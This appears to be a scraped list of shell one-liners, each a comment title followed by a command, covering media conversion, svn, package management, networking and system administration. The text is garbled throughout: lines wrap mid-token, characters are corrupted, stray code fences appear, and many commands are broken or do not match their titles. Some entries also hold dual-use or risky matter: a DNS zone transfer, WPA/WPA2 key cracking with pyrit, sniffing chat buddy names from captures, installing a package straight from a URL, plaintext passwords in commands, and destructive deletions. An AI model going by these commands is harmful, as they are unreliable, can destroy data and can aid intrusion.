# Replace all occurrences of a pattern with another one from previous command
!!:gs/foo/bar

# amixer : raise volume and unmute if necessary
amixer -c 0 set Master 1+ unmute

# Create x11vnc server authentication file
x11vnc -storepasswd your_new_apssword ~/my_vnc_pass

# Export OPML from Google Reader
export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Pa
sswd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth

```



```

# Copy all files. All normal files, all hidden files and all files starting with
- (minus).
cp ./* .[!..]* ..?* /path/to/dir

# Eclipse needs to know the path to the local maven repository. Therefore the cl
asspath variable M2_REPO has to be set.
mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo

# Geo Weather
xmlstarlet fo "http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/ge
t_html.php?ip=$(curl -s icanhazip.com)... SEE SAMPLE OUTPUT

# display the ttl of a hostname in a human readable form
function ttl { /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noaut
hority $1 | grep "^$1" | awk '{print $2}') }

# Dump /dev/ttyS0 on background automatically from startup
nohup cat /dev/ttyS0 | tee -a llamas.db&

# First file editor for newbies
cat > file.txt << EOF

# list the last week's added files in xmms2's library
xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc)

# Be notified about overheating of your CPU and/or motherboard
sensors | grep "Core 1" | [[ `sed -e 's/^..*+\([0-9\]{2,3}\)\).*\(\|/' -gt 50 ]
] && notify-send "Core 1 temperature exceeds 50 degrees"

# Find files older than X, using find.
find . -mtime +10

# So you are not sure are connected and iither your router or ethernet card are
not working.
sudo tcpdump -i eth0 -n port 67 and 68

# Unix timestamp Solaris
nawk 'BEGIN {print srand()}'

# Look for process by filename in command then kill the process
ps ax | grep -i ProcessName| kill -9 `awk '/FileName.Ext/ {print $1}`

# Search filenames with given pattern; each one is transfered via scp and if suc
cesfull the file is locally deleted. Ideal for filesystem quick maintenance
'ls -l *<pattern>* | while read file; do scp $file user@host:/path/; if [[ $? -e
q 0 ]]; then rm $file; fi; done'

# avi to ogv (Ogg Theora)
ffmpeg2theora input.avi

# Add user to group on OS X 10.5
sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username

# Unix timestamp Solaris
/usr/bin/truss /usr/bin/date 2>&1 | nawk -F= '/^time\(\)/ {gsub(/ /, "", $2);prin
t $2}'

# Console clock -- Beautiful
yes 'clear;printf "\n\n`date`\n" | figlet -f starwars;sleep 1' | sh

```

```

# Fix all the commit log messages from a user of a bad subversion client
for R in `svn log file:///path/repo | grep ^r | grep dude | cut -d' ' -f1 | cut
-dr -f2`; do svn ps svn:log --revprop -r $R "`svn pg svn:log --revprop -r $R fil
e:///path/repo; perl -e 'print ".\n";' | fromdos`" file:///path/repo; done

# Remove all unused kernels with apt-get
apt-get remove $(dpkg -l | awk "/^ii linux-(image|headers)/ && ! /`uname -r`/ {
print \$2}")

# Update all packages installed via homebrew
brew update && brew install `brew outdated`

# Find given string in all files with given name or extension
find . -name "*.html" -exec grep -l 'string' {} \;

# Greet the user appropriately
echo Good $(i=`date +%H` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -
lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi)

# Easy to extend one-liner for cron scripts that automate filesystem checking
( di $TOFSCK -h ; /bin/umount $TOFSCK ; time /sbin/e2fsck -y -f -v $FSCKDEV ; /b
in/mount $TOFSCK ) |& /bin/mail $MAILTO -s "$MAILSUB"

# Unix timestamp Solaris
perl -le 'print time()'

# SVN Recursive Directory/File Adder
svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;
svnradd $i;else svn add $i;fi; fi;done }

# Create a booklet ps file out of a normal ps (A4 Size)
psbook file.ps | psnup -2 -l -m0.5cm | pstops '2:0,1U(210mm,297mm)' > file.bookl
et.ps

# mencoder convert bluray to xvid
mencoder input.m2ts -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf s
cale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o output.xvid.lamp.avi

# Number of CPU's in a system
grep -c '^$' /proc/cpuinfo

# slice a fixed number of characters from the output of a command, where the wid
th of the slice is the number of characters in $slice
slice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)-

# convert a line to a space
sed 's/.*/ /'

# Configuring a proxy for a cobbler repo
cobbler repo edit --name=Epel-i386 --environment="http_proxy=http://100.100.100.
100:3128"

# Remove all the files except abc in the directory
find * ! -name abc -delete

# Map \r do insert random number in vim
imap <leader>r <C-r>=system('echo "$(($RANDOM % 100))"')<cr>

# Console clock -- Beautiful 2

```

```

yes 'clear;printf "`date`\n" | figlet -f starwars | boxes;sleep 1' | sh

# Find all IP connected to my host through TCP connection and count it
netstat -an |grep ":80" |awk '{print $5}' | sed s/::ffff://g | cut -d: -f1 |sort
|uniq -c |sort -n | tail -1000 | grep -v "0.0.0.0"

# Install 4 new package files
sudo dpkg -i `ls -tr *.deb | tail -n4`

# Mount a truecrypt drive from a file from the command line non-interactively
su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD"

# Emulate perl 'print "#" x 20, "\n"'
printf '%*s\n' 20 | tr ' ' '#'

# slice a fixed number of characters from the output of a command, where the width
of the slice is the number of characters in $slice
slice(){ cut -c${1}$((${#1}+1))-; }; ls -l | slice "-rw-r--r--"

# Merge PDFs with Ghostscript wrapped in a function
mergepdf() { gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf "$@" }

# Get all URLs from webpage via Regular Expression
lynx --dump "http://www.google.com.br" | egrep -o "http:.*"

# Dns zone transfer
host -la domain.com

# Convert video type from mpg to wmv
mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac mp3lame -lameopts
br=98 -o output.wmv input.mpg

# shell function to turn start and length in to a range suitable for using in cut.
range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; }

# print your iTunes App for iPhone/iTouch/iPad to show your friends which ones you
have
find ~/Music/iTunes/iTunes\ Media/. -name \*.ipa -exec basename {} \; | cut -d \
. -f 1 > ~/Desktop/MyAppList`date +%s.txt`

# Remove all the files except abc in the directory
find * ! -name abc -type f -delete

# find rcs locked file in a given folder
find /path/to/folder/ -mindepth 1 -maxdepth 2 -name "*,v" -exec sudo rlog -L -R
{} \;

# The wisdom of Cave Johnson
curl -s http://www.cavejohnsonhere.com/random/ | grep quote_main | cut -d \> -f
2- | fmt -w $(tput cols)

# Compute the average number of KB per file for each dir
parallel echo -n {}"\ \";echo '$(du -s {} | awk "{print \$1}") / $(find {} |
wc -l)' \; | bc -l ::: *

# List all files fred* unless in a junk directory
ls **/fred*~*junk*/*

```

```

# A quick shell command to weed out the small wallpapers
for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$(`identify -format "%wx%
h" $i | sed 's/x/*/'`) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; }

# Get a metascore from metacritic.com
metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*!<!-- metasco
re --><div id="metascore" class="*">([<]*)</div>|\1|p'; }

# remote backups with rsync
rsync --delete -az -e 'ssh -c blowfish -i /your/.ssh/backup_key -ax' /path/to/ba
ckup remote-host:/dest/path/

# Top 10 pages apache access_log
awk '$7 !~ /\.(gif|.jpg|.ico|.txt)$/ {print $7}' access_log | sed 's/\$///g' | so
rt | uniq -c | sort -rn | head

# geolocalize ip country
while read line; do pais=$(whois "$line" | grep -E '[Cc]ountry') echo -n "IP=$li
ne Pais=$pais" && echo done <listaip

# Track progress of long-running text-command using graphical dialog
(pv -n long_running > output) 2>&1 | zenity --progress

# Enable tab completion for known SSH hosts
complete -W "$(sed 's/;.*//;' /etc/hosts | awk ' /^[[[:digit:]]/ {$1 = "";print t
olower($0)}')" ssh

# Put uuid of disk into variable
TEST_UUID=$(blkid /dev/sda6 | sed -rn "s/^. *UUID=\"([a-z0-9]{8}-[a-z0-9]{4}-[a-z
0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})\".*\/\1/p")

# Sort a character string
echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'

# Send a local file via email
cat filename | uuencode filename | mail -s "Email subject" user@example.com

# Bold matching string without skipping others
sed 's/pattern/^[[1m&^[[0m/g'

# Instant editing screenshot with Gimp
sleep 4; F="$(tempfile -s '.xwd')"; xwd > "$F" ; gimp "$F"

# Shows how many percents of all available packages are installed in your gentoo
system
echo $(echo 'scale=2; ' '100 * ' $(eix --only-names -I | wc -l) / $(eix --only-n
ames | wc -l) | bc -l)%

# Console clock
watch -n 1 :

# Use tcpdump to monitor all DNS queries and responses
sudo tcpdump -i en0 'udp port 53'

# cat all text files into one
cat $(file * | grep ASCII | awk -F: {'print $1'}) > all-in-one

# Convert high resolution JPEG for web publication
convert /home/user/file.jpg -resize 800x533 -strip -quality 80 -interlace line /

```

```

home/user/web_file.jpg

# quick integer CPU benchmark
echo '2^2^20' | time bc > /dev/null

# Parse tektronic csv files
awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data

# Apply all pending updates to Mandriva Linux system (2008.0 and newer).
urpmi --auto-update --force # apply all pending updates (Mandriva Linux)

# Rip audio tracks from CD to wav files in current dir
cdparanoia -B

# Extract URL from SVN working copy
function svnurl() { svn info $1 | egrep '^URL: (.*)' | sed s/URL\:\ //; }

# Length of longest line of code
perl -ne '$w = length if (length > $w); END {print "$w\n"}' *.cpp

# compile source & then remove the dev tools you needed to install
dpkg-query -l > 1.lst; sudo apt-get install -y build-essential; ./configure; make; sudo checkinstall -D make install; dpkg-query --list > 2.lst; diff 1.lst 2.lst | grep '^>' | awk '{print $3}' | xargs sudo apt-get remove -y --purge

# Delete Mailer-Daemon messages
mailq | grep MAILER-DAEMON | awk '{print $1}' | tr -d '*' | postsuper -d -

# A child process which survives the parent's death (Zsh version)
command &!

# recursively change file name from uppercase to lowercase (or viceversa)
find . -depth -print -execdir rename -f 'y/A-Z/a-z/' '{}' \;

# Add all unversioned files to svn
svn add *

# Monitor specific process (ie apache) using Top
top -p `pidof apache2` | awk '{gsub(/[ ]/,",");print}'`

# Grep all your PDFs in a row
find -iname \*.pdf -print0 | xargs -0 pdfgrep -i "my search text"

# Print total size of specified files and subdirectories
du -sk * | awk '{print $1} END {print "[+z1<y]sy\nlyx\np"}' | dc

# CSV list of infected URLs detected by ClamAV
grep "FOUND" /var/log/squidclamav.log | awk '{print $5"-"$2"-"$3","$4","$11}' | sed -e 's/\,http.*url=\/\,/g' | sed -e 's/\/\,/g' | sed -e 's/source=\/g' | sed -e 's/user=\/g' | sed -e 's/virus=\/g' | sed -e 's/stream\:+\/g' | sed -e 's/\+FOUND//g'

# Give information about your graphic chipset
lshw -C display

# display emerge.log date in a human friendly way
tail /var/log/emerge.log | awk -F: '{print strftime("%Y%m%d %X %Z", $1),$2}'

```

```
# Update twitter with curl
curl -u username:password -d status="blah blah blah" https://twitter.com/statuses/update.xml

# tcptraceroute alternative for udp packets
sudo hping3 -TV --tr-stop -n -2 -p 53 ns1.server.tld

# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i input.flv -aq 2 output.mp3

# to make any command run even if sytem gets shut down
nohup df -k | sort -rn 12

# running command directly, skip alias or function which has the same name
\
```

```

# Re-run [re-edited] sequence of commands in vim history
In vim: q: && v[cursor movement]y && [paste/edit/save to /tmp/tmp.vim] && move t
o window to modify && :so /tmp/tmp.vim

# Generate a unique MAC address from an IP Address
echo 00:16:3e$(gethostip 10.1.2.11 | awk '{ print tolower(substr($3,3)) }' | sed
's/.\{2\}/:&/g' )

# Boot from a block device without giving root privilege to Virtual Box
VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageatt
ach "$1" --medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE
Controller" --device 0 --port 0 ; VBoxManage startvm "$1";}

# Print out buddy name (aim) which has been capture in pcap
tshark -r data.pcap -R "ip.addr==192.168.1.2 && ip.addr==64.12.24.50 && aim" -d
tcp.port==443,aim -T fields -e "aim.buddyname" |sort |uniq -c

# ps grep with header
psg () { ps auxwww | egrep "$1|PID" | grep -v grep }

# Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk '{print $1}' | sed -e 's:///' | xargs vim

# Learn how to stop mistyping "ls" the fun way
apt-get install sl; sl

# Alias for lazy tmux create/reattach
alias ltmux="if tmux has; then tmux attach; else tmux new; fi"

# What happened on this day in history?
firefox http://en.wikipedia.org/wiki/${date +%b_%d'}

# Edit all different files from 2 directories with gvim in difference mode (gvim
-d)
LC_ALL=C diff -q dir1 dir2 | grep differ | awk '{ print $2, $4 }' | xargs -n 2 g
vim --nofork -d

# Change file time stamp
touch -t [[CC]AA]MMJJhhmm[.ss]

# validate xml in a shell script.
xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1

# get function's source
source_print(){ set | sed -n "/^$1/,/^}$$/p"; };

# count processes with status
ps -eo stat= | sort | uniq -c | sort -n

# Check to make sure the whois nameservers match the nameserver records from the
nameservers themselves
domain=google.com; for ns in $(whois $domain | awk -F: '/Name Server/{print $2}'
); do echo ">>> Nameservers for $domain from $a <<<"; dig @$ns $domain ns +short
; echo; done;

# create 4 RTP streams (H264/AAC) from a single source with a single ffmpeg inst
ance...
ffmpeg -i $src -an -vcodec [...details in description...] rtp rtp://$dstIP:$dstA
udioPort4 -newaudio

```



```

# Capture all tcp and udp packets in LAN, except packets coming to localhost (19
2.168.1.2)
sudo tcpdump -n -i eth0 -w data.pcap -v tcp or udp and 'not host 192.168.1.2'

# Show all occurrences of STRING with filename and line number for given FILE pat
tern under the DIR.
find DIR -name "FILE" -exec grep -IHn STRING {} \;

# Get all IPs via ifconfig
ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket
en1 | grep yi| sed s."yiaddr = "."en1: ".

# Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk -F '{print $1}' | xargs vim

# system beep off
setterm -bfreq 0

# Wait for an already launched program to stop before starting a new command.
wait

# Make a server's console beep when the network is down
while ;; do ping -W1 -c1 -n 8.8.8.8 > /dev/null || tput bel > /dev/console; slee
p 1; done

# record audio and use sox to eliminate silence. Results an ogg file that only c
ontains the audio signal exceeding -45dB
rec -r 44100 -p | sox -p "audio_name-$(date +%Y-%m-%d').ogg" silence -l 1 00:00
:00.5 -45d -l 00:00:00.5 -45d

# Playback music in VLC without the GUI interface
cvlc <somemusic.mp3>

# progress bar for cp
while [$(or_sz=$(stat -c %s "$1")) -gt $(ds_sz=$(stat -c %s "$2"))];do ((pct
=(69*$ds_sz)/$or_sz));echo -en "\r[";for ((i=1;i<=pct;i++));do echo -n "=";done;
echo -n \>;for ((i=pct;i<=68;i++));do echo -n ".";done;echo -n "]" $((100*$pct)/
69))%";done

# Read manpages without the man(1) command
zcat /usr/share/man/man1/man1.gz | nroff -man | less

# Simple countdown from a given date
watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc
-l'

# Tail the most recently modified file
ls -tl | head -n1 | xargs tail -f

# List all authors of a particular git project
git log --format='%aN <%aE>' | awk '{arr[$0]++} END{for (i in arr){print arr[i],
i;}}' | sort -rn | cut -d\ -f2-

# Mark packages installed with build-dep for autoremove (on Debian/Ubuntu)
sudo aptitude markauto $(apt-cache showsrc PACKAGE | grep Build-Depends | perl -
p -e 's/(?::[\[(].+?[\)])|Build-Depends:|,|\|)//g')

# Hello world
pi 62999 | tr 0-9 del\ 1\!owrH

```

```

# Remove trailing whitespaces (or tabs) from a text file
sed -i 's/[ \t]\+$//g' file.txt

# Given NOPASSWD privileges on a remote SSH server, sftp as root via sudo
sftp -s "sudo /usr/lib/sftp-server" user@host

# List all text files (exclude binary files)
find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"

# Get decimal ascii code from character
ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut
-c '3-' }

# Remove all but One
rm-but() { ls -Q | grep -v "$1" | xargs rm -r ; }

# Clean up formatting of a perl script
perltidy foo.pl

# For finding out if something is listening on a port and if so what the daemon
is.
lsof -i :[port number]

# Create cheap and easy index.html file
F=index.html; for i in *; do [[ $i = $F ]] && continue; echo "<li><a href='$i'>$
i</a>"; done >$F

# ping with timestamp
ping HOSTNAME | while read pong; do echo "$(date): $pong"; done

# Display list of locked AFS volumes (if any)
vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | aw
k '{printf("%s ", $1)} END {printf("\n")}'

# Insert line number in vim
:%s/^/\=line('.').' '

# What happened on this day in history?
www-browser http://en.wikipedia.org/wiki/$(date +%b_%d')

# Rename a file with a random name
rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done }

# See how many more processes are allowed, awesome!
echo $(( $(ulimit -u) - $(pgrep -u $USER | wc -l) )

# Go get those photos from a Picasa album
echo 'Enter Picasa album RSS URL: '; read -e feedurl; GET "$feedurl" | sed 's/</\n
</g' | grep media:content | sed 's/.*url='''\([^\''\''\]*\)'''.*/\1/' > wgetli
st

# list files/directories in current directory -- sorted by file size in MB
sudo du -sm * | sort -n

# reset Mageia urpmi media sources to network only
urpmi.removemedias -a && urpmi.addmedia --distrib --mirrorlist

# shutdown pc in 4 hours without needing to keep terminal open / user logged in.

```

```

shutdown 60*4 & disown

# Archive tar.gz archives all files (with extension filter) individually from an
  location
find ./ -iname "*.dmp" -maxdepth 0 -type f -exec tar czvf {}.tar.gz --remove-fi
les {} \; \;

# Encrypt text to md5
wget -q0 - --post-data "data[Row][clear]=text" http://md5-encryption.com | grep
-A1 "Md5 encrypted state" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\\b//g'

# Update obsolete CVS Root files
find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \;

# Remove/replace newline characters.
sed ':a;N;$!ba;s/\n/ /g'

# Create a symbolic link tree that shadows a directory structure
find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -ty
pe f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh

# Record Alexa Traffic Stats of your Website
x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alex.com/siteinfo/http://[
YOUR WEBSITE] | grep Global | sed 's/ \|Global\\|,//g' >> /var/log/alex-stats
.txt ; sleep 5h ; done &

# Get first Git commit hash
git log --format=%H | tail -1

# Find which service was used by which port number
cat /etc/services | egrep [[:blank:]]<port_number>/

# recursive command to find out all directories
find $DIR -exec bash method {} ";"

# Display GCC Predefined Macros
echo | gcc -dM -E -

# Displays the number of unread messages on your gmail at the top right corner o
f your terminal
while sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails:
$(curl -u username:password --silent https://mail.google.com/mail/feed/atom | g
rep 'fullcount' | grep -o '[0-9]\+')";tput rc; done &

# Decrypt MD5
wget -q0 - --post-data "data[Row][cripted]=1cb251ec0d568de6a929b520c4aed8d1" htt
p://md5-decrypter.com/ | grep -A1 "Decrypted text" | tail -n1 | cut -d '"' -f3
| sed 's/>//g; s/<\\b//g'

# find all files containing a pattern, open them using vi and place cursor to th
e first match, use 'n' and ':n' to navigate
find . -type f -exec grep -l pattern {} \; | xargs vi +/pattern

# Show some details of recent Leopard Time Machine activity - shell: bash, Mac O
SX 10.5
syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Tim
e ge -72h | tail -n 30

# Clean up after improper deletes in subversion
svn rm `svn status | grep "\!" | cut -c 8-`

```

```

# Find which service was used by which port number
grep '\<110/' /etc/services; grep '\b110/' /etc/services

# Safely remove old unused kernels in Ubuntu/Debian
sudo aptitude purge ~ilinux-image-[0-9]\(\(!`uname -r`\)

# Autorotate a directory of JPEG images from a digital camera
jhead -autorot *

# solaris: get current date + 72 hours
TZ=$TZ-72 date +%d.%m.%Y

# total text files in current dir
file -i * | grep 'text/plain' | wc -l

# Easily decode unix-time (function)
utime(){ awk -v d=$1 'BEGIN{print strftime("%a %b %d %H:%M:%S %Y", d)}'; }

# Kill process by searching something from 'ps' command
pkill <process name>

# dump a remote db via ssh and populate local db with postgres
ssh user@remoteserver "PGPASSWORD='passwd' pg_dump -U user bd_name | bzip2 -zv9"
| bzcat | psql -U user bd_name

# Take a screenshot of the screen, upload it to ompldr.org and put link to the c
lipboard and to the screenshots.log (with a date stamp) in a home directory.
scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit=
"OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: <a href="v([A-Za-z0-9+
\/]+)">)' | sed 's/^\.*\(\http://\./.*\)<.*$/\1/' | xsel -b -i ? (full in a sample
output)

# Make webcam video
ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 -f alsa -ac 1 -i default -f mp4
Filename.mp4

# Transfer files with rsync over ssh on a non-standard port.
rsync -P -e 'ssh -p PORT' SRC DEST

# Geo Temp
curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=
$(curl -s icanhazip.com) | sed -e'ld;3d' -e's/C.*: \(.*)/\1/' -e's/ /%20/g' -e"
s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)">.*|\1\n|'

# Revert an SVN file to previous revision
svn diff -r M:N file.php | patch -p0

# Add new files/directory to subversion repository
svn status | grep '^?' | sed -e 's/^\?//g' | xargs svn add

# force change password for all user
getent passwd|cut -d: -f1|xargs -n1 passwd -e

# Auto export display when coming from SSH
[ -n "$SSH_CLIENT" ] && export DISPLAY=$(echo $SSH_CLIENT | awk '{ print $1 }'):
0.0

# AIX: Set reserve lock=no in EMC disks that have reserve_lock=yes

```

```

for i in $(lsdev -Cc disk | grep EMC | cut -f 1 -d " "); do if lsattr -a reserve_lock -El $i | grep -q "reserve_lock yes"; then chdev -a reserve_lock=no -l $i ; fi; done

# count how many cat processes are running
pgrep -c cat

# same as backspace and return
<ctrl+h> and <ctrl+j>

# Let yourself read the logs under /var/log/apache2 (on Debian)
sudo usermod -a -G adm "$(whoami)"

# use awk to replace field with it's md5sum
awk '{command="echo "$2"|md5sum" ;command | getline $2; close(command);sub(/[[[:blank:]]].*/,"",$2); print $0}'

# Locate Hacked Files and Dump.
find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt

# Today's date on a yearly calendar...
cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n'

# Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done

# Check the apt security keys
apt-key list

# Extract all urls from last firefox sessionstore used in a portable way.
perl -lne 'print for /url:"\K[^\"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)

# Test internet connectivity
ping 8.8.8.8

# # Multiline paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i"){IGNORECASE=1; ARGV=1}};{Text[NR]=$0};END {asort(Text);for (i=1;i<=NR;i++) printf "%s\n\n",Text[i] }' -i<Zip.txt

# Gets the english pronunciation of a phrase
say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;}

# Get all links of a website
lynx -dump http://example.com/ | awk '/http/{print $2}' | sort -u

# Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do > $file; done

# Get decimal ascii code from character
ord() { printf "%d\n" "'$1"; }

# WPA/WPA2 ESSID and password automation with pyrit
gopyrit () { if [ $# -lt 1 ]; then echo $0 '< list of ESSIDs >'; return -1; fi; for i in "$@"; do pyrit -e $i create_essid && pyrit batch; done; pyrit eval }

# recursive transform all contents of files to lowercase

```

```

perl -e "tr/[A-Z]/[a-z]/;" -pi.save $(find . -type f)

# Perl One Liner to Generate a Random IP Address
perl -e 'printf join ".", map int rand 256, 1 .. 4;'

# Geolocate a given IP address
geoiip() { lynx -dump "http://api.hostip.info/get_html.php?ip=$1&position=true";
}

# Show directories in the PATH, one per line
echo -e ${PATH//:/\n}

# Emergency Alien Invasion Warning
while true; do xset dpms force off; sleep 0.3; xset dpms force on; xset s reset;
sleep 0.3; done

# Create a Christmas tree with perl
perl -MACme::POE::Tree -e 'Acme::POE::Tree->new()->run()'

# set timestamp in exif of a image
exiv2 -M"set Exif.Photo.DateTimeOriginal `date +%Y:%m:%d %H:%M:%S`" filename.j
pg

# Gentoo: Get the size of all installed packets, sorted
equery s | sed 's/(|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}'

# Equivelant of a Wildcard
`ls`

# Dump all of perl's config info
perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}'

# Better "hours of video" summary for each file/dir in the current directory
for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file
-iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/example
s/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | g
rep -v ' - 0$'

# Say no to overwriting if cp -i is the default alias.
\cp something toSomeWhereElse

# Kill all Zombie processes if they accept it!
kill -9 `ps xawo state=,pid=|sed -n 's/Z //p'`

# # Multiline unique paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i") IGNORECASE=1;ARGC=1}{if (IGNORECASE)Te
xt[tolower($0)]=$0;else Text[$0]=$0 };END {N=asort(Text);for(i=1;i<=N;i++)printf
"%s\n\n",Text[i]}' -i<Test.txt

# Generate an XKCD #936 style 4 word passphrase (fast)
echo $(grep "^[^'A-Z]{3,7}$" /usr/share/dict/words|shuf -n4)

# download and install the software package in one step
rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm'

# See if your mac can run 64-bit && if it the kernel is loaded 64-bit
ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataT
ype |grep 64

```

```
# Show which include directories your installation of Perl is using.
perl -le 'print join $/, @INC'

# Do you really believe on Battery Remaining Time? Confirm it from time to time!
echo start > battery.txt; watch -n 60 'date >> battery.txt'

# Set status in pidgin
purple-remote "setstatus?status=Available&message=Checking libpurple"

# Get URLs matching some xmms2 search
xmms2 info $(xmms2 mlib search '<query>' | sed -ne 's/^00*\([1-9][0-9]*\).*$/\1/p') | awk -F' = ' '{print $1~/ url$/ {print $2}}'

# Kill process by searching something from 'ps' command
pkill -f <process name>

# Find packages on Ubuntu/Debian based on their description
aptitude search ~d<string>

# Copy files from multiple directories into one directory
find <start directory> -iname "<all my files type>" -exec cp {} <target_dir> \;

# Add new file under svn version control.
svn st | grep ^\? | awk '{print $2}' | xargs svn add

# Resets terminal in its original state
^[c (ctrl-v esc-c)

# append content of a file to itself
cat file | tee >> file

# Say no to overwriting if cp -i is the default alias.
/bin/cp -n <from> <to>

# Remove color codes (special characters) with sed
cat input.txt | sed 's/\\033[^\a-zA-Z]*.//g'

# Simply generate a password for userPassword in ldap
slpappasswd

# Find which package a file belongs to on Solaris
pkgchk -l -p <full path to the file>

# How to watch files
watch -d 'ls -l'

# snarf is a command line resource grabber.
snarf http://foo.bar.com/picture.jpg

# Testing writing speed with dd
sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`

# Show the ndd ip settings of a solaris device
for i in `ndd /dev/ip \? | awk '{ print $1 }' | egrep -v "ip6|status|icmp|igmp|\?"; do echo $i `ndd -get /dev/ip $i` ; done | grep -v \?
```

```
# forking a process from gnome-terminal detached from the terminal.
gnome-open . & disown
```

```

# concatenate compressed and uncompressed logs
find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \;

# Perl One Liner to Generate a Random IP Address
perl -le '$,=".";print map int rand 256,1..4'

# Join lines split with backslash at the end
tr -d '\\\ ' | tr -d '\n'

# ifrename
busybox nameif newname $(</sys/class/net/oldname/address)

# Generate RSA private key and self-signed certificate
touch pk.pem && chmod 600 pk.pem && openssl genrsa -out pk.pem 2048 && openssl req -new -batch -key pk.pem | openssl x509 -req -days 365 -signkey pk.pem -out cert.pem

# Convert ip address in hexadecimal
gethostip 208.69.34.230 -x

# Find and replace recursively a ignoring .svn
find . -type f -not -regex ".*\./.svn\|\.svn\|.*" -exec sed -i 's/oldstring/newstring/g' {} +

# finding cr-lf files aka dos files with ^M characters
grep -UIlr "^M" *

# Count files and folder
ls /var/log/ |wc -l

# show mysql process ids
mysql -s -e "show processlist" |awk '{print $1}'

# make pgsql backup and gzip it
pg_dump otrs2 | gzip > dump.gz

# Search for specific IPs taken form a text file within the apache access log
grep -E ":(`cat bnd-ips.txt | sed 's/\./\./g' | tr '\n' '|`)" access.log

# Visualizing system performance data
vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;"

# encode image to base64 and copy to clipboard
uuencode -m $1 /dev/stdout | sed 'ld' | sed '$d' | tr -d '\n' | xclip -selection clipboard

# Search pattern case insensitive
:/\c{pattern}

# List file/directories in order of last accessed, in human readable terms
ls -lth podcasts/

# Quick enter into a single screen session
alias screenr='screen -r $(screen -ls | egrep -o -e '[0-9]+' | head -n 1)'

# Power cd - Add a couple of useful features to 'cd'
cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR"

```



```

] && set -- "$CDDIR"; fi; command cd "$@"; }

# find broken symbolic links
find . -type l | (while read FN ; do test -e "$FN" || ls -ld "$FN"; done)

